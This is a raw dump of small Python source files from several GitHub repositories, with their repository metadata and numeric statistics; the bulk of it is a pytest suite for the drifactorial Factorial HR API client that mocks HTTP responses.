| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
9096dc746b6085c2d6d6c18230b0ae9dcec45d5c
| 251
|
py
|
Python
|
flask_requestpreprocessor/__init__.py
|
sabariramc/flask_requestpreprocessor
|
41833a02700b57d44abd3e075689eb777c1628a7
|
[
"MIT"
] | null | null | null |
flask_requestpreprocessor/__init__.py
|
sabariramc/flask_requestpreprocessor
|
41833a02700b57d44abd3e075689eb777c1628a7
|
[
"MIT"
] | null | null | null |
flask_requestpreprocessor/__init__.py
|
sabariramc/flask_requestpreprocessor
|
41833a02700b57d44abd3e075689eb777c1628a7
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
"""
Project :
Author : sabariram
Date : 06-Jun-2020
"""
from .paramparsers import parse_request_query_param, parse_request_file, parse_request_form, parse_request_json
from funcargpreprocessor import Decimal, DateArg, DateTimeArg
| 25.1
| 111
| 0.808765
| 32
| 251
| 6.0625
| 0.75
| 0.247423
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.031111
| 0.103586
| 251
| 9
| 112
| 27.888889
| 0.831111
| 0.262948
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
90a960bfe8323a19cba085835e9187de402044b4
| 154
|
py
|
Python
|
projets/admin.py
|
Kgermando/fs
|
41a1cfcf4e51655794f904d5927a528a70747b8d
|
[
"Apache-2.0"
] | null | null | null |
projets/admin.py
|
Kgermando/fs
|
41a1cfcf4e51655794f904d5927a528a70747b8d
|
[
"Apache-2.0"
] | null | null | null |
projets/admin.py
|
Kgermando/fs
|
41a1cfcf4e51655794f904d5927a528a70747b8d
|
[
"Apache-2.0"
] | null | null | null |
from django.contrib import admin
admin.site.site_header = 'FASTSMART'
admin.site.site_title = "Interface d'administration"
# Register your models here.
| 22
| 52
| 0.792208
| 21
| 154
| 5.714286
| 0.761905
| 0.15
| 0.216667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.116883
| 154
| 6
| 53
| 25.666667
| 0.882353
| 0.168831
| 0
| 0
| 0
| 0
| 0.277778
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
90aa90f1e424a74d070ddbe2fa70d77f6e7bb903
| 331
|
py
|
Python
|
templatesadmin/edithooks/__init__.py
|
pyHammer/django-templatesadmin
|
7a77375d474e2398b18474085b8960cd7405ffa1
|
[
"BSD-3-Clause"
] | 1
|
2015-04-07T09:30:46.000Z
|
2015-04-07T09:30:46.000Z
|
templatesadmin/edithooks/__init__.py
|
pyHammer/django-templatesadmin
|
7a77375d474e2398b18474085b8960cd7405ffa1
|
[
"BSD-3-Clause"
] | null | null | null |
templatesadmin/edithooks/__init__.py
|
pyHammer/django-templatesadmin
|
7a77375d474e2398b18474085b8960cd7405ffa1
|
[
"BSD-3-Clause"
] | 2
|
2015-03-31T18:19:57.000Z
|
2019-11-24T23:04:54.000Z
|
class TemplatesAdminHook(object):
'''
Hook baseclass
'''
@classmethod
def pre_save(cls, request, form, template_path):
pass
@classmethod
def post_save(cls, request, form, template_path):
pass
@classmethod
def contribute_to_form(cls, form, template_path):
return form
| 18.388889
| 53
| 0.637462
| 36
| 331
| 5.666667
| 0.527778
| 0.205882
| 0.235294
| 0.176471
| 0.470588
| 0.470588
| 0.470588
| 0.470588
| 0.470588
| 0
| 0
| 0
| 0.274924
| 331
| 17
| 54
| 19.470588
| 0.85
| 0.042296
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0.2
| 0
| 0.1
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 5
|
90c6e8f0212f7713635363799ad719c77fabc0b7
| 43
|
py
|
Python
|
reduce.py
|
Gerrydh/MPP-Recursion
|
de81bb0dcd50f7f66971db9000e6262767168b8f
|
[
"Apache-2.0"
] | null | null | null |
reduce.py
|
Gerrydh/MPP-Recursion
|
de81bb0dcd50f7f66971db9000e6262767168b8f
|
[
"Apache-2.0"
] | null | null | null |
reduce.py
|
Gerrydh/MPP-Recursion
|
de81bb0dcd50f7f66971db9000e6262767168b8f
|
[
"Apache-2.0"
] | null | null | null |
print reduce ((lamda x, y: x * y), [1,2,3])
| 43
| 43
| 0.534884
| 10
| 43
| 2.3
| 0.8
| 0.173913
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085714
| 0.186047
| 43
| 1
| 43
| 43
| 0.571429
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
90cb1ee1e52b30af41e7461a8f463d21fde1b4f6
| 132
|
py
|
Python
|
src/ethereum/apps.py
|
ResearchHub/ResearchHub-Backend-Open
|
d36dca33afae2d442690694bb2ab17180d84bcd3
|
[
"MIT"
] | 18
|
2021-05-20T13:20:16.000Z
|
2022-02-11T02:40:18.000Z
|
src/ethereum/apps.py
|
ResearchHub/ResearchHub-Backend-Open
|
d36dca33afae2d442690694bb2ab17180d84bcd3
|
[
"MIT"
] | 109
|
2021-05-21T20:14:23.000Z
|
2022-03-31T20:56:10.000Z
|
src/ethereum/apps.py
|
ResearchHub/ResearchHub-Backend-Open
|
d36dca33afae2d442690694bb2ab17180d84bcd3
|
[
"MIT"
] | 4
|
2021-05-17T13:47:53.000Z
|
2022-02-12T10:48:21.000Z
|
from django.apps import AppConfig
class EthereumConfig(AppConfig):
name = 'ethereum'
# TODO: Read contract addresses from s3
| 16.5
| 39
| 0.757576
| 16
| 132
| 6.25
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009174
| 0.174242
| 132
| 7
| 40
| 18.857143
| 0.908257
| 0.280303
| 0
| 0
| 0
| 0
| 0.086022
| 0
| 0
| 0
| 0
| 0.142857
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
90da4828fb771aca614ed19f9b4b73f673e88b38
| 126
|
py
|
Python
|
lithops/wait/__init__.py
|
gfinol/lithops
|
e165a78e0facbb70c852d7627a7407e8a8d1b946
|
[
"Apache-2.0"
] | null | null | null |
lithops/wait/__init__.py
|
gfinol/lithops
|
e165a78e0facbb70c852d7627a7407e8a8d1b946
|
[
"Apache-2.0"
] | null | null | null |
lithops/wait/__init__.py
|
gfinol/lithops
|
e165a78e0facbb70c852d7627a7407e8a8d1b946
|
[
"Apache-2.0"
] | null | null | null |
from .storage import wait_storage
from .rabbitmq import wait_rabbitmq
from .utils import ALL_COMPLETED, ANY_COMPLETED, ALWAYS
| 31.5
| 55
| 0.849206
| 18
| 126
| 5.722222
| 0.555556
| 0.194175
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.111111
| 126
| 3
| 56
| 42
| 0.919643
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
90efc1bd3e512457f08e77e6468807ee50e0a180
| 79
|
py
|
Python
|
secos/__init__.py
|
Ambroisie/SECOS
|
c440341391552a26153a1d07c2227b989bbf7e44
|
[
"Apache-2.0"
] | 1
|
2019-11-27T08:04:49.000Z
|
2019-11-27T08:04:49.000Z
|
secos/__init__.py
|
Ambroisie/SECOS
|
c440341391552a26153a1d07c2227b989bbf7e44
|
[
"Apache-2.0"
] | null | null | null |
secos/__init__.py
|
Ambroisie/SECOS
|
c440341391552a26153a1d07c2227b989bbf7e44
|
[
"Apache-2.0"
] | 2
|
2020-02-16T07:20:06.000Z
|
2021-02-08T21:02:36.000Z
|
import secos.eval
from .decompound import Splitter
from .train import Trainer
| 15.8
| 32
| 0.822785
| 11
| 79
| 5.909091
| 0.727273
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.139241
| 79
| 4
| 33
| 19.75
| 0.955882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
290574ca9a40feae93b1aee5e74855c84ab612df
| 23,644
|
py
|
Python
|
tests/test_drifactorial.py
|
nkoub/drifactorial
|
195783733c200379aa84679037059794a723a8fe
|
[
"MIT"
] | null | null | null |
tests/test_drifactorial.py
|
nkoub/drifactorial
|
195783733c200379aa84679037059794a723a8fe
|
[
"MIT"
] | null | null | null |
tests/test_drifactorial.py
|
nkoub/drifactorial
|
195783733c200379aa84679037059794a723a8fe
|
[
"MIT"
] | null | null | null |
"""Test module for the drifactorial package.
Dribia 2021, Xavier Hoffmann <xrhoffmann@gmail.com>
"""
import json
import re
from datetime import date, datetime, time, timedelta
from io import StringIO
from typing import List, Optional
import pydantic
import pytest
from pytest import CaptureFixture
from pytest_mock import MockerFixture
import drifactorial
from drifactorial import Factorial
from drifactorial.schemas import Account, Employee, Hiring, Holiday, Leave, Shift, Token
from tests import utils
def test_version():
"""Assert that `__version__` exists and is valid."""
assert re.match(r"\d.\d.\d", drifactorial.__version__)
def test_daterange():
"""Asser daterange generator."""
# case invalid range
start = date(2021, 2, 1)
end = date(2021, 1, 1)
dates = [x for x in drifactorial.daterange(start, end)]
assert len(dates) == 0
# case include end
end = date(2021, 2, 28)
dates = [x for x in drifactorial.daterange(start, end)]
assert len(dates) == 28
# case exclude end
dates = [x for x in drifactorial.daterange(start, end, include_end=False)]
assert len(dates) == 27
def test_get_holidays(mocker: MockerFixture):
"""Assert get holidays method."""
fake_response_holidays = [utils.random_schema(Holiday)]
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_holidays)),
)
factorial = Factorial(access_token=utils.random_lower_string())
holidays = factorial.get_holidays()
# prep parsing
date_fields = [
name for name, field in Holiday.__fields__.items() if field.type_ is date
]
# make assertions
assert hasattr(holidays, "__len__")
assert len(holidays) == 1
for field, value in fake_response_holidays[0].items():
if field in date_fields:
dt = datetime.strptime(value, "%Y-%m-%d")
d = date(dt.year, dt.month, dt.day)
assert getattr(holidays[0], field) == d
else:
assert getattr(holidays[0], field) == value
fake_date = pydantic.parse_obj_as(date, fake_response_holidays[0]["date"])
# test filter start
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_holidays)),
)
holidays = factorial.get_holidays(start=fake_date + timedelta(-1))
assert len(holidays) == 1
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_holidays)),
)
holidays = factorial.get_holidays(start=fake_date + timedelta(1))
assert len(holidays) == 0
# test filter end
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_holidays)),
)
holidays = factorial.get_holidays(end=fake_date + timedelta(1))
assert len(holidays) == 1
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_holidays)),
)
holidays = factorial.get_holidays(end=fake_date + timedelta(-1))
assert len(holidays) == 0
def test_get_leaves(
mocker: MockerFixture,
):
"""Assert get leaves method."""
fake_response_leaves = [utils.random_schema(Leave)]
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_leaves)),
)
factorial = Factorial(access_token=utils.random_lower_string())
leaves = factorial.get_leaves()
# prep parsing
date_fields = [
name for name, field in Leave.__fields__.items() if field.type_ is date
]
# make assertions
assert hasattr(leaves, "__len__")
assert len(leaves) == 1
for field, value in fake_response_leaves[0].items():
if field in date_fields:
dt = datetime.strptime(value, "%Y-%m-%d")
d = date(dt.year, dt.month, dt.day)
assert getattr(leaves[0], field) == d
else:
assert getattr(leaves[0], field) == value
# test filter employee
employee_id = fake_response_leaves[0]["employee_id"]
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_leaves)),
)
leaves = factorial.get_leaves(employee_id=employee_id)
assert len(leaves) == 1
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_leaves)),
)
leaves = factorial.get_leaves(employee_id=employee_id + 1)
assert len(leaves) == 0
# test filter start
fake_date = pydantic.parse_obj_as(date, fake_response_leaves[0]["finish_on"])
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_leaves)),
)
leaves = factorial.get_leaves(start=fake_date + timedelta(1))
assert len(leaves) == 0
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_leaves)),
)
leaves = factorial.get_leaves(start=fake_date + timedelta(-1))
assert len(leaves) == 1
# test filter end
fake_date = pydantic.parse_obj_as(date, fake_response_leaves[0]["start_on"])
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_leaves)),
)
leaves = factorial.get_leaves(end=fake_date + timedelta(1))
assert len(leaves) == 1
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_leaves)),
)
leaves = factorial.get_leaves(end=fake_date + timedelta(-1))
assert len(leaves) == 0
@pytest.mark.parametrize("hiring_cents", [None, utils.random_int()])
@pytest.mark.parametrize("hiring_type", [None, utils.random_lower_string()])
def test_get_employees(mocker: MockerFixture, hiring_cents: int, hiring_type: str):
"""Assert get employees method."""
fake_response_employees = [
utils.random_employee(hiring_cents=hiring_cents, hiring_type=hiring_type)
]
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_employees)),
)
factorial = Factorial(access_token=utils.random_lower_string())
employees = factorial.get_employees()
# prep parsing
hiring_parsed = Hiring(
base_compensation_amount_in_cents=hiring_cents,
base_compensation_type=hiring_type,
)
fake_response_employees[0].update(hiring=hiring_parsed)
date_fields = [
name for name, field in Employee.__fields__.items() if field.type_ is date
]
# make assertions
assert hasattr(employees, "__len__")
assert len(employees) == 1
for field, value in fake_response_employees[0].items(): # type: ignore
if field in date_fields:
dt = datetime.strptime(value, "%Y-%m-%d")
d = date(dt.year, dt.month, dt.day)
assert getattr(employees[0], field) == d # type: ignore
else:
assert getattr(employees[0], field) == value # type: ignore
@pytest.mark.parametrize("year", [None, utils.random_year()])
@pytest.mark.parametrize("month", [None, utils.random_month()])
def test_get_shifts(
mocker: MockerFixture,
year: Optional[int],
month: Optional[int],
):
"""Assert get shifts method."""
fake_response_shifts = [utils.random_schema(Shift)]
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_shifts)),
)
factorial = Factorial(access_token=utils.random_lower_string())
shifts = factorial.get_shifts(year=year, month=month)
# prep parsing
date_fields = [
name for name, field in Shift.__fields__.items() if field.type_ is date
]
time_fields = [
name for name, field in Shift.__fields__.items() if field.type_ is time
]
# make assertions
assert hasattr(shifts, "__len__")
assert len(shifts) == 1
for field, value in fake_response_shifts[0].items():
if field in date_fields:
dt = datetime.strptime(value, "%Y-%m-%d")
d = date(dt.year, dt.month, dt.day)
assert getattr(shifts[0], field) == d
elif field in time_fields:
dt = datetime.strptime(value, "%H:%M")
t = time(dt.hour, dt.minute)
assert getattr(shifts[0], field) == t
else:
assert getattr(shifts[0], field) == value
# test filter employee
employee_id = fake_response_shifts[0]["employee_id"]
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_shifts)),
)
shifts = factorial.get_shifts(employee_id=employee_id)
assert len(shifts) == 1
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_shifts)),
)
shifts = factorial.get_shifts(employee_id=employee_id + 1)
assert len(shifts) == 0
def test_get_account(mocker: MockerFixture):
"""Assert get account method."""
fake_response_account = utils.random_schema(Account)
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_account)),
)
factorial = Factorial(access_token=utils.random_lower_string())
account = factorial.get_account()
# make assertions
assert not hasattr(account, "__len__")
for field, value in fake_response_account.items():
assert getattr(account, field) == value
@pytest.mark.parametrize("hiring_cents", [None, utils.random_int()])
@pytest.mark.parametrize("hiring_type", [None, utils.random_lower_string()])
def test_get_single_employee(
mocker: MockerFixture, hiring_cents: int, hiring_type: str
):
"""Assert get single employee method."""
fake_response_single_employee = utils.random_employee(
hiring_cents=hiring_cents, hiring_type=hiring_type
)
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_single_employee)),
)
factorial = Factorial(access_token=utils.random_lower_string())
single_employee = factorial.get_single_employee(employee_id=utils.random_int())
# prep parsing
hiring_parsed = Hiring(
base_compensation_amount_in_cents=hiring_cents,
base_compensation_type=hiring_type,
)
fake_response_single_employee.update(hiring=hiring_parsed)
date_fields = [
name for name, field in Employee.__fields__.items() if field.type_ is date
]
# make assertions
assert not hasattr(single_employee, "__len__")
for field, value in fake_response_single_employee.items(): # type: ignore
if field in date_fields:
dt = datetime.strptime(value, "%Y-%m-%d")
d = date(dt.year, dt.month, dt.day)
assert getattr(single_employee, field) == d # type: ignore
else:
assert getattr(single_employee, field) == value # type: ignore
def test_clock_in(mocker: MockerFixture):
"""Assert clock in method."""
fake_response_clock_in = utils.random_schema(Shift)
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_clock_in)),
)
factorial = Factorial(access_token=utils.random_lower_string())
shift = factorial.clock_in(
now=utils.random_datetime(), employee_id=utils.random_int()
)
# prep parsing
time_fields = [
name for name, field in Shift.__fields__.items() if field.type_ is time
]
# make assertions
assert not hasattr(shift, "__len__")
for field, value in fake_response_clock_in.items():
if field in time_fields:
dt = datetime.strptime(value, "%H:%M")
t = time(dt.hour, dt.minute)
assert getattr(shift, field) == t
else:
assert getattr(shift, field) == value
def test_clock_out(mocker: MockerFixture):
"""Assert clock out method."""
fake_response_clock_in = utils.random_schema(Shift)
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_clock_in)),
)
factorial = Factorial(access_token=utils.random_lower_string())
shift = factorial.clock_out(
now=utils.random_datetime(), employee_id=utils.random_int()
)
# prep parsing
time_fields = [
name for name, field in Shift.__fields__.items() if field.type_ is time
]
# make assertions
assert not hasattr(shift, "__len__")
for field, value in fake_response_clock_in.items():
if field in time_fields:
dt = datetime.strptime(value, "%H:%M")
t = time(dt.hour, dt.minute)
assert getattr(shift, field) == t
else:
assert getattr(shift, field) == value
def test_authorize(capsys: CaptureFixture):
"""Assert authorize method."""
factorial = Factorial(access_token=utils.random_lower_string())
factorial.authorize(
client_id=utils.random_lower_string(), redirect_uri=utils.random_lower_string()
)
captured = capsys.readouterr()
text = captured.out.split("\n")
assert text[0].startswith("Authorization required.")
assert text[0].endswith(":")
line = text[1].split("?")
assert line[0].startswith("https://")
params = line[1].split("&")
assert len(params) == 4
for param in ["client_id", "redirect_uri", "response_type", "scope"]:
assert param in line[1]
def test_obtain_access_token(mocker: MockerFixture):
"""Assert obtain acces token method."""
fake_response_obtain_token = utils.random_schema(Token)
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_obtain_token)),
)
factorial = Factorial(access_token=utils.random_lower_string())
token = factorial.obtain_access_token(
client_id=utils.random_lower_string(),
client_secret=utils.random_lower_string(),
redirect_uri=utils.random_lower_string(),
authorization_key=utils.random_lower_string(),
)
assert not hasattr(token, "__len__")
for field, value in fake_response_obtain_token.items():
assert getattr(token, field) == value
def test_refresh_access_token(mocker: MockerFixture):
"""Assert obtain acces token method."""
fake_response_obtain_token = utils.random_schema(Token)
mocker.patch(
"drifactorial.request.urlopen",
return_value=StringIO(json.dumps(fake_response_obtain_token)),
)
factorial = Factorial(access_token=utils.random_lower_string())
token = factorial.refresh_access_token(
client_id=utils.random_lower_string(),
client_secret=utils.random_lower_string(),
refresh_token=utils.random_lower_string(),
)
assert not hasattr(token, "__len__")
for field, value in fake_response_obtain_token.items():
assert getattr(token, field) == value
def test_get_daysoff(mocker: MockerFixture):
"""Assert get daysoff method."""
# test filter holidays on employee id successful
employee = pydantic.parse_obj_as(Employee, utils.random_employee())
holidays = [
pydantic.parse_obj_as(Holiday, utils.random_schema(Holiday)) for i in range(3)
]
holidays[0].half_day = None
holidays[1].half_day = drifactorial.HALF_DAY_AM
holidays[2].half_day = drifactorial.HALF_DAY_PM
employee.start_date = min(x.date for x in holidays) + timedelta(-1)
employee.terminated_on = None
employee.company_holiday_ids = tuple(x.id for x in holidays)
leaves_empty: List = []
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves_empty,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 1
# test filter holidays on employee id unsuccessful
employee.company_holiday_ids = tuple(x.id + 1 for x in holidays)
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves_empty,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 0
# test filter weekends included
# using the same employee and holidays
weekend_day = date(2021, 12, 25)
for i in range(3):
holidays[i].date = weekend_day
employee.company_holiday_ids = tuple(x.id for x in holidays)
employee.start_date = min(x.date for x in holidays) + timedelta(-1)
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves_empty,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 1
# test filter weekends excluded
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves_empty,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=False)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 0
# test filter approved leaves successful
# using the same employee
holidays_empty: List = []
leaves = [
pydantic.parse_obj_as(Leave, utils.random_schema(Leave)) for i in range(3)
]
leaves[0].half_day = None
leaves[1].half_day = drifactorial.HALF_DAY_AM
leaves[2].half_day = drifactorial.HALF_DAY_PM
for i in range(3):
leaves[i].approved = True
leaves[i].finish_on = leaves[i].start_on
leaves[0].finish_on = leaves[0].start_on + timedelta(1)
employee.start_date = min(x.start_on for x in leaves) + timedelta(-1)
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays_empty,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
assert len(daysoff[0]) == 2
assert len(daysoff[1]) == 1
assert len(daysoff[2]) == 1
# test filter approved leaves unsuccessful
for i in range(3):
leaves[i].approved = False
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays_empty,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 0
# test time logic
# using same employee, only leaves[0]
leaves = leaves[:1]
leaves[0].approved = True
min_date = leaves[0].start_on
max_date = leaves[0].finish_on
# standard behavior, should not fail
employee.start_date = min_date + timedelta(-1)
employee.terminated_on = None
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays_empty,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
assert len(daysoff[0]) == 2
assert len(daysoff[1]) == 0
assert len(daysoff[2]) == 0
# overwrite start date, should fail
start = max_date + timedelta(1)
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays_empty,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(
employee_id=employee.id, include_weekend=True, start=start
)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 0
# overwrite end date, should fail
end = min_date + timedelta(-1)
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays_empty,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(
employee_id=employee.id, include_weekend=True, end=end
)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 0
# termination date before leaves
employee.start_date = None
employee.terminated_on = min_date + timedelta(-1)
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays_empty,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 0
# termination date after leaves
employee.start_date = max_date + timedelta(1)
employee.terminated_on = None
mocker.patch(
"drifactorial.Factorial.get_single_employee",
return_value=employee,
)
mocker.patch(
"drifactorial.Factorial.get_leaves",
return_value=leaves,
)
mocker.patch(
"drifactorial.Factorial.get_holidays",
return_value=holidays_empty,
)
factorial = Factorial(access_token=utils.random_lower_string())
daysoff = factorial.get_daysoff(employee_id=employee.id, include_weekend=True)
assert len(daysoff) == 3
for el in daysoff:
assert len(el) == 0
| 34.16763
| 88
| 0.675436
| 2,872
| 23,644
| 5.328691
| 0.070682
| 0.048615
| 0.082658
| 0.047439
| 0.783325
| 0.769407
| 0.756534
| 0.72811
| 0.70426
| 0.689428
| 0
| 0.007991
| 0.216672
| 23,644
| 691
| 89
| 34.217077
| 0.818314
| 0.062637
| 0
| 0.582168
| 0
| 0
| 0.096724
| 0.082842
| 0
| 0
| 0
| 0
| 0.138112
| 1
| 0.024476
| false
| 0
| 0.022727
| 0
| 0.047203
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
290c035fd6357e23ed1ef1722719ac8412249e71
| 89
|
py
|
Python
|
bayesfast/core/__init__.py
|
EiffL/bayesfast
|
